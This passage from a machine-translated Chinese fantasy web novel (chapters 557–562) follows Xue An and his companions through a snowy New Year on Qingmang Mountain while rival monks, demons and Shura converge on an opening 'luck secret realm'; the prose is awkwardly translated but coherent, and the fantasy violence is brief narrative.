    "Who is the old person you are talking about?" Hu Ye asked curiously.


    "A sloppy veteran who can''t die!" Xue An said with a smile.


    Hu Ye didn''t understand what sloppy was, but when he saw Zhai Lao Dao, he deeply understood the meaning of the word.


    The beards are already tight, and the robe he wears is no longer the original color. He pulled a pair of shoes, his heels were black and the flesh color was not visible.


    Such a broken old way stood in front of him, making Hu Ye feel a little awkward.


    Zhai Lao Dao was very happy, "I just calculated and found that there will be noble people coming today. I didn''t expect Xiao Anzi to come, um! It''s even more powerful!"


    Zhai Laodao felt that if the former Xue An looked at a deep pool, now it is a sea, which is becoming more and more unfathomable, so he sighed.


    Xue An smiled slightly, "I haven''t seen you for two years, you haven''t changed much, you''re even more dirty!"


    "There is no way, living in this deep mountain, without having to meet people, it will save you the need to clean up!" Zhai Lao Dao said with a smile.


    Xiao Sha, who had been standing behind Xue An, snorted coldly, "Lazy is lazy, don''t put gold on your face!"


    Hearing this, Zhai Old Dao was startled first, then his whole body trembled slightly.


    "You...you are..."


    Xiao Sha said coldly: "It''s no different from your master back then! The older you get, the more lazy you are!"


    The tears of Zhai Lao Dao''s excitement almost flowed out, and he hurriedly bowed to salute.


    "Okay, it''s a funny joke when I''m getting older." Xiao Sha said with a bit of disgust, but his eyes became gentle.


    Starting from Master Zhai Laodao''s master, this little Taoist temple guarded Xiaosha, who was still very weak at the time.


    "Yes, yes! Everyone, please come in!" Zhai Laodao hurriedly greeted.


    Everyone entered the Taoist temple, Zhai Laodao went to the bedroom to wash up after a crime, and when he came back, he had already become like a fairy tale.


    When everyone was seated to drink tea, Xue An glanced at the tree in the courtyard and smiled slightly, "Don''t you have a cup?"


    After speaking, he put a cup of tea on the table.


    The branches and leaves of this ancient tree trembled a few times, and then two long branches stretched out, "Thank you for the reward!"


    Then he reached in through the window and picked up the tea cup on the table.


    This scene attracted the exclamation of two little girls.


    "Wow, this big tree can actually speak!" Think about it.


    "And it will move!" Nian Nian said.


    With that, the two little girls stepped forward and gently stroked the branches.


    The tree demon trembled slightly, but did not dodge.


    Because Thinking and Nian Nian possessed a strong natural power, the tree demon felt very comfortable.


    "Big tree, what do you look like?" I asked with his head tilted.


    The Dryad was silent for a moment, and then a cloud of cyan brilliance rose from the canopy and floated into the house.


    This is a woman in a blue shirt. Although she is only one meter in size, she can still see that this woman looks like a human in her thirties.


    Old Zhai gradually widened his eyes, "You...you are actually a female?"


    "Why? Can''t it?" The Dryad said with a smile.


    Old Zhai thought of the time he took a bath in the courtyard because of the hot weather, and suddenly he didn''t know what to say.


    "Oh, forget it, anyway, I''ve seen it, and the old man will recognize it!" Old Zhai sighed.


    The tree demon blushed when he heard that, and took a sip, "Bah, who is rare to see you! Besides, it seems like you have really taken a bath!"


    The dryad''s words caused everyone in the room to laugh.


    Then the tree demon gave a respectful salute to Xue An and Hu Ye.


    "I have seen two fairy masters!"


    Xiaosha smiled slightly again Master Jiaolong, long time no see! "


    "Do you recognize me?" Xiao Sha was a little surprised.


    "In this Qingmang Mountain, who can not recognize the original Flood Dragon, especially when you finally turned into a dragon and left, it makes me wait for admiration!"


    When someone talked about this show-off, Xiao Sha''s face couldn''t help but be full of pride.


    Xue An said to the tree demon, "So, you already have consciousness?"


    The Dryad nodded, "It''s been a hundred years, but only a very ignorant consciousness."


    "Then all these flowers, grasses, fish and insects have turned into monsters recently, what''s the matter?"


    The Dryad shook his head, "Master Immortal, I don''t know, but I feel that the Qi of Heaven and Earth suddenly changes, and then I have a clear self-awareness!"


    Xue An thought silently.


    Thinking and Nian Nian can''t wait, "Sister Dryad, take us out to play! It''s so boring here!"


    The Dryad glanced at Xue An hesitantly.


    Xue An smiled and nodded, "Go!"


    Within Xue An''s spiritual thoughts, the two little girls were absolutely safe.


    Moreover, the monsters of Qingmang Mountain were just fresh in their form, and they did not pose a threat to the two little girls.

 Chapter 558： If I get drunk again, my name will be over...

    The two little girls went out to play happily.


    An Yan led Xue Lan Xiaosha and the others out.


    Xue Anhuye and Zhai Laodao were left in the house.


    Old Zhai said, "Xiao''an, you are here for this mountain monster!"


    "Yes, nor!" Xue An took a sip of tea.


    Old Zhai sighed lightly, "Although I have a shallow cultivation base, I am still a little accomplished in the number of hexagrams. I have done divination more than once in the past few days, and the results given are all misfortunes and unpredictable ambiguities. This is the first time I have encountered this kind of thing! So although I don''t know what you are going to do, I still have to be careful in everything!"


    Xue An nodded, "I understand this naturally!"


    At this time, they heard the laughter of their two daughters outside, and An Yan''s surprise shouts.


    "Snowing!"


    Xue An got up and came to the window.


    Sure enough, snowflakes were already floating outside.


    In a moment, the top of the mountain in the distance was covered with a layer of white.


    But this kind of weather could not stop the playfulness of the two little girls.


    The dryad stretched out long branches to form a runway that looked like a slide, and the two little girls slid down along the top and laughed.


    And countless Pear Blossom Little Monsters also revolved around missing, and it was a great time to play with them.


    Such a scene made Xue An couldn''t help but smile.


    "As long as it snows at Qingmang Mountain, it means the New Year is about to come!" Zhai Laodao sighed slightly.


    Xue An smiled, "Let''s go to Qingmang Town this year''s New Year, you are alone here, and it''s deserted enough."


    Old Zhai smiled and shook his head, "No, I have been used to it for more than forty years! The outside world is too annoying, I am not used to it!"


    "Really? Then why did I hear Lan''er say that you go there to play the autumn wind every other time?" Xue An said playfully.


    "Ahem! That''s a special situation. After all, I always eat the game in the mountains. Sooner or later I will get tired of eating it!" Zhai Old Road said, adding another sentence.


    "But it''s okay now, I can''t eat any game if I want, even the hares are fine!"


    Fox night said with a smile, "What''s the matter? It tastes more delicious when it is refined!"


    "It''s not the same. I ate wild game before because they were ignorant. Now that my spiritual wisdom is open, I can speak everything. How can I be embarrassed to eat it?"


    "Then what are you eating now?" Hu Ye asked.


    "It''s true that Pang Dao is vegetarian now!"


    "Well, if the vegetables and grains are refined, what are you going to eat? Are you starving?"


    "The donor is arrogant! How can vegetable grains become refined?"


    "Ha ha, no?" Hu Ye smiled and raised his hand, and saw a bunch of corn hanging under the eaves spinning without wind.


    Then several huge corn cobs shouted at Zhai Laodao, "Grandpa, grandpa..."


    The sound is crisp and sweet, like a child.


    Old Zhai was dumbfounded, and after a while he murmured, "How did the good corn become a gourd baby? Do I have to meet a snake essence and a scorpion essence?"


    Xue An couldn''t laugh or cry, "Okay, stop listening to this guy''s nonsense, this guy''s head is abnormal! The one that has been opened is really awkward to eat, then get some of the one that has not been opened! I will clean up at noon and eat Hot Pot!"


    Upon hearing this, Huye''s eyes instantly rounded, and she almost drooled.


    "Really!"


    Xue An nodded, "But there are no ingredients yet!"


    "That''s hard to say, leave it to me!" After Hu Ye finished speaking, he plunged into the vast snow.


    He knows Xue An��s cooking skills better than anyone else.


    In fact, the reason why they know each other and the relationship is so good is that this fox night is greedy by Xue An''s craftsmanship.


    But since the arrival of the war, Xue An has never cooked for him no matter how soft the night is.


    In Xue An''s words, he didn''t bother to cook for a big man alone.


    Now that Xue An is finally cooking, Fox Ye is naturally ecstatic, and the halazi is almost flowing out.


    With his skills, he quickly caught a few hares, a wild goat, and various wild vegetables and fruits.


    Xue An began to clean up.


    At this time, the snow outside can already cover the soles of the feet.


    The two little girls were picked up by An Yan one by one, and said to Xue An a little bit strangely: "You look at your two baby girls, you are going crazy!"


    Xue An smiled, "Play as long as you like, this is their childhood!"


    The two little girls had their heads drooped by the mother''s training. After hearing Xue An''s words, they all raised their heads and laughed.


    Especially Nian Nian, smelling the scent, came over, "Dad, do you want hot pot?"


    "Yeah, do you want to eat it?"


    "Hmm! But it would be better if there was ice cream!"


    "I''ll teach you that, if you go over and call beautiful mother, she will give it to you!" Xue An smiled and said in Niannian''s ear.


    Niannian''s eyes lit up, and she dragged her sister to An Yan, and stretched out her little hand to look at An Yan with eager eyes, "Pretty mother, you are the best looking mother in the world!"


    An Yan couldn''t help but stared at Xue An fiercely, "You, slowly spoil them both!"


    Then I honestly took out two ice creams from the mustard ring.


    "Just this one! After eating, there will be no more!"


    "Hmm!"


    The two little girls smiled openly and squeezed their eyes at Xue An.


    Xue An laughed off.


    At this time, in the backyard, Fox Ye looked at Zhai Lao Dao, who was very skilled in skinning sheep, and said a little bit amused.


    "This is what you call vegetarian? The technique is professional enough!"


    Old Zhai smiled, "No way! Sometimes these silly sheep throw themselves into the net, can I still waste it?"


    After the sheep''s skin was peeled, Fox Ye used a kitchen knife to cut the lamb into thin slices.


    At this time, Xue An had already set up the hot pot. Although they were all common ingredients, in Xue An''s hands, the bottom of the pot was still fragrant.


    Everyone was sitting around the stove eating steaming lamb, while there was heavy snow drifting outside.


    This kind of ease made Fox Ye sigh of satisfaction.


    "Seriously, I think this world is quite fun! But now it would be better if I had a little alcohol!"


    Old Zhai smiled, turned around and entered the room, and after a moment he walked out with a big jar.


    When the lid is opened, the wine is full of fragrance.


    "This is my wine brewed with wild fruits in the spring. It tastes good, but it has a bit of stamina!"


    Fox night couldn''t hold back anymore, "A drink, a drink!"


    Waiting to fill a glass, Fox Night just wanted to drink.


    Xue An looked at him, "The snow is quite heavy outside. If you squat in the snow and cry at this time, is it a bit cold!"


    "Mistakes, mistakes, it was purely a mistake that day!" Hu Ye quickly explained with embarrassment on the face.


    "What if you are still drunk this time?"


    "How could it be possible! If I get drunk again this time, I will recite the name of Huye in the future!"


    "Okay, Chamber Pot!"


    "I mean drunk!"


    "Isn''t this going to be familiar in advance!"


    "..."

 Chapter 559： The endless Buddha kingdom, the demon comes to the world

    At the same time, on a global scale, things such as the Baicao Demon are endlessly emerging, and many exotic animals that have long been extinct in the world have also begun to appear.


    There are also many characters that should only appear in myths and legends, and they have begun to show signs.


    Whether it is a warrior or a cultivator, as long as it is a person of insight, a big change seems to be brewing between heaven and earth.


    northwest.


    On the vast grassland.


    Mingma Zhuoma is driving the sheep in the monastery and grazing on the grassland.


    As a shepherdess, her duty is to herd sheep for Dacheng Temple.


    The sky on the grassland is like a huge gem, blue and clear.


    The breeze passed, and the grassland undulated like waves.


    Such a view always makes people happy.


    Mingma Zhuoma couldn''t help but began to sing.


    The unsculpted voice is simple and loud, and the grazing sheep looks up from time to time and seems to be listening carefully.


    Only the golden dome of Dacheng Temple in the distance is shining with golden light that has not changed for a thousand years.


    At this moment, Mingma Zhuoma saw two figures slowly approaching in the distant sky.


    It seemed to be far away at first, but in a blink of an eye, the two of them had already come close.


    Mingma Zhuoma stared blankly.


    These are two monks.


    The one who walked in the forefront was extremely thin, with his left shoulder bare, his face resembling a Buddha statue, and a smile of compassion forever.


    A fat monk followed, Baoxiang solemn.


    The two of them walked slowly, seemingly very slow, but they arrived in a flash.


    As a shepherdess who believes in Buddhism, Mingma Dolma knelt down and bowed after seeing the two monks.


    "Honorable monk, where did you come from?" Mingma Dolma said respectfully.


    The skinny monk stopped, glanced at Mingma Dolma, and then smiled slightly.


    "I come from the Buddha country, and save the world!"


    Mingma Zhuoma was stunned, and then began to tremble uncontrollably.


    Because she found that although the thin monk stood on the ground, his feet were half an inch in the air.


    There is a cloud in the Buddhist scriptures. Those who have attained the status of Arahant will have compassion for ants and insects, and keep their feet on the ground during walking to prevent stepping.


    Mingma Zhuoma has naturally heard this legend, but she didn''t expect to see this mysterious scene with her own eyes today.


    The admiration for the eminent monk''s great virtue made her kowtow more than that, and she choked with tears: "Disciple pays homage to the great virtue!"


    With a charity smile on his face, the skinny monk stretched out his big skinny hand and gently rubbed the top of Mingma Dolma''s head.


    "Idiot!"


    Mingma Zhuoma was trembling all over, her face showing ecstasy.


    Because in the legend of the grassland people, being able to win the top of the monk and Dadema can eliminate countless karma.


    After a while, the skinny monk released his hand, smiled, and walked towards the Dacheng Temple as if walking on the wind.


    Mingma Dolma had a dull face, knelt and climbed a few steps, buried her face deeply on the grass where the monk had walked, and kissed the footprints left behind.


    This is the highest etiquette and respect for the great virtue.


    But when Mingma Zhuoma raised his head again, the simplicity and agility in his eyes had disappeared, becoming so empty.


    Dacheng Temple is the holy place of grassland Buddhism, with a history of a thousand years.


    When Venerable Kuchan came to the door, several monks guarding the door stepped forward and blocked the way.


    "Fellow initiates, please return! This is the land of grassland Buddhism!"


    Venerable Kuzen dressed up differently from Buddhists on the grassland, so he was discouraged by these guard monks.


    Venerable Kuchan''s face remained unchanged, with an eternal smile, and then stepped inside.


    These monks just wanted to stop.


    A golden light appeared on the fat monk standing behind, deterring all these guard monks.


    Venerable Kuchan had already walked into the courtyard at this moment, raised his head and glanced at the Buddha''s golden body in the hall, and said lightly.


    "Here, let me sit now!"


    Following his voice, this tall and majestic statue of Buddha showed a trace of sorrow, as if pitying the world, and then heard the sound of clicking.


    Cobweb-like fine lines appeared on this golden body, and then burst into pieces.


    Such a huge movement naturally alarmed the monks in Dacheng Temple.


    The presiding officer of Dacheng Monastery is Dorje Rinpoche, who has guarded the place for more than 40 years and is known as Manjushri''s return.


    He originally meditated in a quiet room.


    Suddenly, he opened his eyes with a dignified look on his face, then stood up silently, and put on the young monk''s clothes he wore when he first entered Dacheng Temple.


    He stood silent for a moment at the portrait of Manjushri on the wall, and then smiled slightly.


    "Sure enough, this calamity is still here, I''ll go one step ahead!"


    As he said, a pair of clear, youthful eyes burned with the light of Buddha, picked up the rosary, slowly opened the door, and walked away.


    When he left, a teardrop slowly fell from the portrait on the wall.


    I don''t know whether it is the sadness of Dorje Rinpoche''s death or the difficulty of compassion for the world.


    It''s the day.


    A monk who claimed to be a Buddhist monk suddenly appeared in the Dacheng Temple, and the Buddha''s thousand-year golden body was shattered.


    Dorje Rinpoche��s training was burned out, and he sat on the spot.


    The thousand-year foundation of Dacheng Temple has been completely destroyed since then.


    And a doctrine known as the endless Buddha kingdom is spreading on the grassland.


    And in the borderland of the extreme west of Country M.


    A desolate valley is filled with evil and strange symbols with blood everywhere.


    Countless people in black cloaks were worshiping a pool of blood.


    At the same time, people were constantly being killed, and the blood drained into the blood pool.


    at last.


    The blood in the blood pool gradually boiled, and the rising blood mist formed all sorts of weird images.


    In the end, the image turned into an extremely ferocious behemoth, and then opened its blood basin and swallowed most of the people kneeling below.


    Amid the screams, the giant beast grinned and chewed.


    Then the endless blood turned into blood and filled the body of this behemoth Finally, a light that was darker than the night and exuding endless evil aura appeared in the world.


    For a time there was thunder in the sky, and the ghosts and gods cried out in the four fields.


    With a loud bang.


    A huge thunder fell.


    But those symbols made of blood resisted most of the power.


    The black mang was only slightly injured, and after a period of wriggling, it returned to normal, and then the black mang gradually condensed into a human form.


    After a while, he became a man with an extremely evil face.


    When the man slowly opened his eyes.


    The clouds in the sky receded.


    An incomparably powerful demon aura soared into the sky, covering the light of the stars and moon.


    The demon comes to the world, the sun and the moon are dark!


    Under the magic light, within a hundred miles, the plants, insects and ants were all dead, and the mighty vitality of life surged like a river, all absorbed by this man.


    The rest of the believers worshipped with excitement.


    "Congratulations to the young demon!"


    The man gradually showed a wicked smile, and then he burst into laughter.


    "Here, I finally came!"

 Chapter 560： Brother Yehu, dont be angry

    The snow on Qingmang Mountain didn''t stop until New Year''s Eve.


    After the snow stopped, the entire Qingmang Town was wrapped in silver, and the night sky illuminated by it was radiant.


    When the New Year''s bell rang, I missed her wearing a brand-new red skirt, like two children walking out of the painting, clasping fists and arching hands with a smile.


    "Mom and Dad, Happy New Year!"


    Xue An favorably took out two huge red envelopes.


    "Good boy! Come, one for each! This is the New Year''s Eve from my father!"


    "This is mom''s!" An Yan also smiled and took out two red envelopes.


    "Thank you Mom and Dad!" The two little girls smiled and accepted the red envelopes.


    Then turned his head to look at the fox night.


    "Uncle Fox, I also wish you a happy new year!"


    "Well, happy!" Hu Ye responded with a smile, but did not move.


    The atmosphere became slightly awkward.


    The two little girls suddenly flashed their big eyes and stretched out two small hands.


    "Uncle Fox, is there no red envelope?"


    Hu Ye smiled, "Ahem, this...um..."


    Huye murmured, twisting around like a thorn.


    He really didn''t prepare any red envelopes.


    Because no one told him!


    The Qingqiu fox world is not interested in this.


    Now being watched by the big bright eyes of the two little girls, Hu Ye was really embarrassed to death.


    What if the two little girls think they are stinging?


    Fox Ye was scratching his heart with eight claws, and Shi Xueqing leaned over, "The two young ladies, Grandpa Master has already prepared red envelopes, isn''t this in my place!"


    He took out two big red envelopes and handed them over.


    "Thank you Uncle Fox!" the two little girls shouted in unison.


    Hu Ye took a breath and glanced at Shi Xueqing very gratefully.


    It''s better to be a disciple, otherwise you will have to die in embarrassment today.


    Fox night was rejoicing in his heart.


    The two little girls walked up to Xue An, "Dad, you asked us to ask for a red envelope from Uncle Fox. Uncle Fox gave it. He is not as stingy as you said!"


    Xue An said with a smile, "Is it! That''s great! Let''s play!"


    "Yeah! We have to wait for Aunt Xuan''er to come back to play together!" The two little girls bounced off.


    Hu Ye stared at Xue An bitterly, "So it''s you!"


    Xue An smiled slightly, "Brother Chamber, don''t be so angry, it''s just a joke!"


    The Fox Ye, who was about to start his teacher''s questioning, was stunned. "You...what are you calling me?"


    "Brother Chamber Chamber! Is there any problem?"


    Hu Ye''s complexion instantly became extremely ugly, "My dignified Master Fox Ye, you call me Chamber Pot?"


    "Yeah, who let you lose the bet!" Xue An smiled slightly, "I don''t know who stood in the snow with bare feet and howled and crying that day. It doesn''t mean that this snow is not sweet is bullying! "


    At the mention of this, the angry Fox Ye fainted like a frustrated ball.


    "Uh...I think I should go outside to see if Xiaosha and the others have brought Xuan''er back!" An Yan found an excuse and hurriedly left.


    Otherwise, she was afraid that Fox Ye would be embarrassed to explode.


    Seeing that the situation was not good, Shi Xueqing had already sneaked out.


    After the two of them, Huye and Xue An were left in the room.


    Hu Ye took a deep breath, and put on a flattering smile, "Brother An, you looked at what you said, brother, I didn''t drunk too hard that day, so I missed it for a while! It''s a good thing to save face!"


    Xue An nodded, "Okay! Brother Chamber Chamber!"


    "..."


    Fox Night: "Hey, I''m also a great genius in the Qingqiu Fox World. I have cultivated into a fairy king character in 100,000 years. Give me a face!"


    Xue An: "You drank and lost!"


    Fox Night: "I am a nine-tailed celestial fox, and my blood is noble!"


    Xue An: "You drank and lost!"


    Fox Night: "I''m called the Peerless Demon King by all the Shifang Demon!"


    Xue An: "You drank and lost!"


    Fox Night: "Can we not mention drinking?"


    Xue An: "You can''t beat me!"


    Fox Night: "..."


    Xue An: "You lost to me thirteen thousand four hundred and twenty-one times!"


    Fox night "..."


    Fox night "Let''s still mention the bar!"


    Xue An: "You drank and lost!"


    Fox Night: "Brother, I was wrong~!"


    Xue An: "Okay, brother Chamber Chamber!"


    ��������������������������������


    Beijiang.


    Many people may not understand, because Tang Xuan''er is still working in the hospital.


    In fact, as long as she said anything casually, the Qin family could immediately arrange a good job for her.


    Qin Yu mentioned it more than once, and even wanted to directly buy the hospital where Tang Xuaner worked and let her be the director.


    But Tang Xuan''er refused.


    Because although she looks gentle, she has always been principled in her heart.


    After An Yan returned, she immediately avoided and kept a distance from Xue An.


    In fact, during the four years when Xue An and An Yan were absent, she had been quietly taking care of the two little girls.


    From this point alone. Her contribution is the greatest.


    But in the back, she was willing to hide far away, never wanting to mention this.


    And continuing to work in the hospital is also a means for her to try to keep herself independent.


    However, people at the hospital where she works now know that Tang Xuan''er''s background is unfathomable, and no one dares to offend her.


    Even so, Tang Xuan''er should still work overtime, she should be on duty.


    This time, she was on a day and half night shift for a pregnant colleague, and she didn''t get off work until late at night.


    When she walked out the door, she realized that it was snowing outside.


    And the fireworks in the sky are blooming in the distance.


    "New Year''s Day!" Tang Xuan''er murmured, stomping her numb feet and preparing to go home.


    At this time, a male colleague from the hospital drove by slowly.


    "Xuan''er, I''ll take you back!" The young male doctor said with a smile at Tang Xuan''er.


    Tang Xuan''er shook her head, "Thank you, no need!"


    The male doctor did not want to give up.


    After all, Tang Xuan''er is now a recognized garden flower, and countless young talents want to get close but are not available.


    This male doctor is also one of them.


    Of course, this male doctor also knew that Tang Xuan''er had a profound background, so he always wanted to approach Tang Xuan''er through subtle and gentle offensives.


    It was the same this time. He had been waiting outside for more than an hour. When he saw Tang Xuan''er appear at the entrance of the hospital waiting for the bus, he drove over, deliberately creating a feeling of chance encounter.


    "It''s freezing outside or Xuaner, sit in the car and wait!"


    Tang Xuan''er smiled, "No need! I''ll just wait here!"


    The male doctor was a little depressed.


    He didn''t expect Tang Xuan''er to stay thousands of miles away.


    "Then or else, let me wait with you! After all, it''s so dark, and it''s a big Chinese New Year. What should I do if I meet a bad person?" The male doctor was going to make one last attempt.


    But Tang Xuan''er still shook her head.


    Finally the male doctor drove away disappointed.


    Tang Xuan''er stood by the road on the New Year��s Eve, the cold breath from her mouth looked very thin under the shining of the street lamp.


    "I don''t know what I miss now, and that fellow Xiaosha!" Tang Xuan''er thought a little lonely.


    At this moment, there was a faint sound of wind and thunder in the sky.


    Strange, how can there be thunder at this time?


    Tang Xuan''er looked up, and then saw Xiao Sha''s smiling face in mid-air.


    "Sister Xuan''er, the boss and the wife know that you just got off work now, so they sent me to pick you up for the New Year!"


    Tang Xuan''er looked at it in a little astonishment, then swept the temple near her ears, with a warm smile on her face.


    "Good! Go back to the New Year!"

 Chapter 561： The secret realm in Qingmang Mountain opens

    When Tang Xuaner got off Xiaosha''s back.


    Missing Nian, who had been waiting for a long time in the cold wind, rushed over with cheers.


    "Aunt Xuan''er!"


    Tang Xuan''er squatted down with a smile, and hugged the two little girls.


    "Aunt Xuan''er, do we wear good-looking clothes?"


    "It''s so beautiful! I miss everything I want to look good in! Come on, this is the lucky money for you!" Tang Xuan''er took out two small red envelopes.


    "Thank you Aunt Xuaner!"


    The two little girls took the red envelopes, and then walked in with Tang Xuan''er''s hand one by one.


    An Yan was standing under the steps and waiting. When Tang Xuan''er came over, she smiled a little angrily: "Silly Xuan''er, if you asked you to ask for leave, you wouldn''t say anything, but you waited until now!"


    Tang Xuan''er brushed her temples with embarrassment, "I placed a class for my colleague, and it''s now!"


    "Okay, come in! New Year''s Eve dinner will be cold soon!"


    "Ok!"


    Tang Xuan''er raised her head, but she saw Xue An standing in front of the door looking at herself with a smile, her face blushing involuntarily.


    Fortunately, the cold wind was bitter, and Tang Xuan''er''s face was blushing, and she couldn''t tell.


    "Xue An!"


    "Yeah! Come in!" Xue An turned sideways slightly and pushed open the door.


    When Tang Xuan''er and An Yan walked into the room.


    Xue Lan ordered people to light fireworks that had been prepared.


    The fireworks bloomed in the sky, and the atmosphere of the New Year was also pushed.


    At this time, Xue An''s cell phone rang, and when he took it out, it was a message from An Qing.


    "Brother-in-law, I wish you and sister a happy new year! I am performing a mission in the field, and I cannot go back! This is the lucky money for two little girls. Tell them that my aunt misses them!"


    Then there was a transfer of 20,000 yuan with a big smiling face.


    Xue An smiled slightly and was about to reply.


    The phone shook again. It was a transfer from WeChat with a black back, with a few words attached to it.


    Miss the lucky money!


    Other than that, nothing was said.


    Xue An was taken aback, then shook his head and smiled bitterly, and sent a message.


    Silly girl, happy new year!


    At this moment, above a small town in Europe.


    Except for the occasional couples posted by Chinese people, there is absolutely no New Year atmosphere here.


    Fan Mengxue was lying on the hotel bed, her expression a little lonely.


    Anastasia looked at this scene and couldn''t help sighing slightly.


    "Or, I will arrange a plane to take you back home?"


    Fan Mengxue shook her head when she heard the words, "No need!"


    While talking, Fan Mengxue''s phone shook slightly, and then the screen lit up.


    Fan Mengxue was taken aback and hurriedly looked around.


    When she saw the message from Xue An, the sadness on her face gradually faded, and the corners of her mouth raised, revealing a big smile.


    "Master..."


    "Ok?"


    "Happy New Year!" Fan Mengxue shouted with a smile, and jumped up from the bed.


    Happy like a child.


    His sight returned to Qingmang Town.


    Just when Xue An was sitting around and eating a hot New Year''s Eve dinner.


    A loud noise suddenly came from the Qingmang Mountain.


    Xue An and Huye''s complexion changed, and they turned to look out the window.


    "Do you feel it?" Hu Ye said solemnly.


    "Well! A powerful force of luck is starting!" Xue An said lightly.


    It''s not just the two of them.


    Including An Yan, everyone present felt that the Qi of Heaven and Earth was changing drastically.


    Xue An and Hu Ye walked out the door, looking at the Qingmang Mountain in the distance.


    At this moment, a cloud of auspicious clouds emitting golden light are coiling on the top of the mountain.


    The powerful force of air transport almost turned Qingmang Mountain into a living thing.


    Hu Ye exclaimed, "It seems that this mystery of luck will be opened soon!"


    At the same time, the anomaly on Qingmang Mountain disturbed the Qi machine of the whole world.


    In Dacheng Temple, Venerable Kuchan, who had been sitting cross-legged on the lotus platform, suddenly opened his eyes, and the bright Buddha light in his eyes directly burned a disciple in front of him into nothingness.


    "The secret realm is about to open! The law protector is here to guard! Let me go!"


    After Venerable Kuchan said, the whole body gradually became nothingness.


    The fat monk bowed his head, and said dumbly, "Disciple obey!"


    And in Shura Island.


    Feitian, who was enjoying the food, suddenly raised his head, and a powerful momentum directly crushed the little maid waiting in front of him.


    Fei Tian did not care about the blood stained on his body, and said with a grinning smile: "The secret realm is finally about to open!"


    After that, he rose into the air, turned into a rumbling fire, and went straight to the east.


    Country M.


    Leng Junxie, the young demon clan who just came to the world, is enjoying the peace after the war.


    Several charming women gently rubbed him, and his eyes were full of fascination.


    As a young master of heavenly devil, the evil power of Leng Junxie''s body has a fatal attraction to women.


    So these women soon fell in love with this Leng Junxie completely.


    But at this moment, Leng Junxie, who had been closing his eyes to enjoy, suddenly opened his eyes.


    A cold and evil magic light came out, directly turning the few women in front of them into blood.


    Leng Junxie didn''t care about this at all, just showed greed on his face.


    "What a powerful force of air luck! If I can swallow this air luck, the demon clan in the future will also become the overlord of the heavens!"


    Thinking of this, Leng Junxie''s entire body turned into a strong devilish energy and disappeared on the blood-stained bed.


    At this moment, Xue An said to An Yan: "You are waiting for me in the world with your two daughters. I will go to a secret place with Fox Night!"


    An Yan nodded, "Be careful!"


    Xue An smiled slightly, "Don''t worry!"


    Then he glanced at Xiao Sha, who was eager to try, "You stay too, remember to protect your thinking and thinking!"


    "Oh!" Xiao Sha felt a little sad when he heard that he could not go, but nodded firmly.


    "Don''t worry, boss, no one dares to bully the two young ladies with me!"


    At this moment, Hu Ye also briefly confessed to Shi Xueqing, and then flew into the sky one by one.


    An Yan and Tang Xuan''er were watching below, and suddenly felt that the originally lively New Year''s Eve dinner was lost.


    When Xue An and Hu Ye arrived at the top of Qingmang Mountain, a door was gradually taking shape between the golden light.


    "This is the gate of luck! As long as you step into this door, you will enter the secret realm of luck!"


    Hu Ye said.


    Xue An nodded, then turned his head to look into the distance, and said lightly: "It seems that there is always someone who is not afraid of death!"


    As he said, he saw a Buddha light rushing, it was the Venerable Suffering Zen.


    This Venerable Suffering Zen obviously did not expect that someone would have been waiting here first, and he couldn''t help but let out a shock, then folded his hands together.


    "Two donors, the secret realm here is owned by the Buddha Kingdom, please return!"


    Xue An and Hu Ye looked at each other after hearing this, and then said in unison: "Beat him!"


    After that, Xue An stepped forward and directly came to Venerable Kuchan, and blasted out with a punch.


    With a click.


    The light wheel behind Venerable Kuzen''s head was shattered by Xue An''s punch.


    Then this bitter Zen monk showed sorrow, "The donor is so strong!"


    After that, the whole person collapsed into fragments, but the remaining Buddha''s light was directly sucked in by the huge door of luck.


    Xue An stood in place somewhat inexplicably.


    "what happened?"

 Chapter 562： Qi Luck Game

    At this moment, two rays of light were seen flying across from the east and west.


    After the establishment, it was Na Feitian and Leng Junxie.


    In the sky at this moment, there stood a person, a demon, a demon, and a Shura.


    Four pairs of eyes looked at each other for a moment.


    Xue An raised the corner of his mouth, revealing a cold smile.


    "It''s really lively! Are the Shura and the Celestial Demons unwilling to be lonely?"


    Fei Tian grinned, "Stop talking nonsense, this secret realm belongs to my Shura clan, get out of here!"


    With that, when he raised his hand, a huge spear appeared in his hand, and then threw it at Xue An.


    Xue An stood proudly and did not move.


    And this flying spear carrying the supreme evil spirit before and after reaching him, it seemed to plunge into a thick mass of air, its speed suddenly slowed down, and after struggling to wriggle forward a few inches. .


    The spear seemed to be overwhelmed, and Peng''s sound turned into fragments.


    But just as the two of them were fighting, Leng Junxie had already watched the right time and rushed straight to the door of luck.


    In his opinion, winning luck first is more important than anything else. As for fighting, you can wait until later.


    But when the door of luck was near, a figure suddenly appeared, blocking Leng Junxie''s path.


    "Sorry, this is nowhere!" Hu Ye said lightly.


    "Looking for death!" Leng Junxie snorted angrily, waving his hand is a powerful handprint of the demon.


    Hu Ye turned slightly to avoid the blow, and was about to fight back.


    But seeing in all directions, there are a lot of streamers flying in.


    Xue An said coldly: "Advanced Secret Realm, otherwise it would be terrible if it was seized by the monk just now!"


    Fox Ye was slightly startled, just waiting to say yes.


    The big handprint that Leng Junxie had just waved had already blasted on the door of luck.


    There was no sound, not even the slightest vibration.


    On this day, the big handprint of the demon melted like ice and snow, and then the door of luck released a bright light.


    A powerful force of luck rose to the sky.


    Without waiting for Leng Junxie''s reaction, a golden light directly dragged him into the door and disappeared.


    It is exactly the same as the disappearance of the Venerable Suffering Zen.


    "Huh, what''s the matter?" Xue Angang said softly.


    Hu Ye''s face turned pale, and finally remembered something, and exclaimed, "It''s a chess game of Qi Luck! We are all wrong. This time, what opened this time is not an ordinary secret of Qi Luck, and the game of Qi Luck!"


    Lucky chess game? A trace of doubt just rose in Xue An''s heart.


    Seeing a golden light bursting apart, it directly entangled Xue An, Huye and others, dragging them to the gate of luck.


    And among the powerful men who rushed over afterwards, some were pulled into the door of luck, and for a while, there were roars of surprise.


    But no matter how high the cultivation level is, they can''t resist this golden light power.


    Because this has nothing to do with the strength of the cultivation base, but this golden light has already involved a trace of the power of the laws of the heavens.


    The strong may change days and days, but they cannot resist the power of the law.


    Only a few people such as Xue An can achieve that they are not governed by the law, but they have not yet reached the point where they are completely out of the law.


    However, although Xue An could break free of this golden light, after seeing the divine thought that Fox Yedu came to.


    Xue An gave up resistance, a smile appeared at the corner of his mouth, letting the golden light drag him into the door of luck.


    Because it was clearly stated in the divine mind that Fox Yedu came to.


    With each catastrophe, the luck of the 10,000 races will be reshuffled, and the mystery will be opened.


    But at very special times, the power of Qi Luck will become extremely powerful for various reasons. At this time, it is no longer the secret of Qi Luck, but a chess game of Qi Luck.


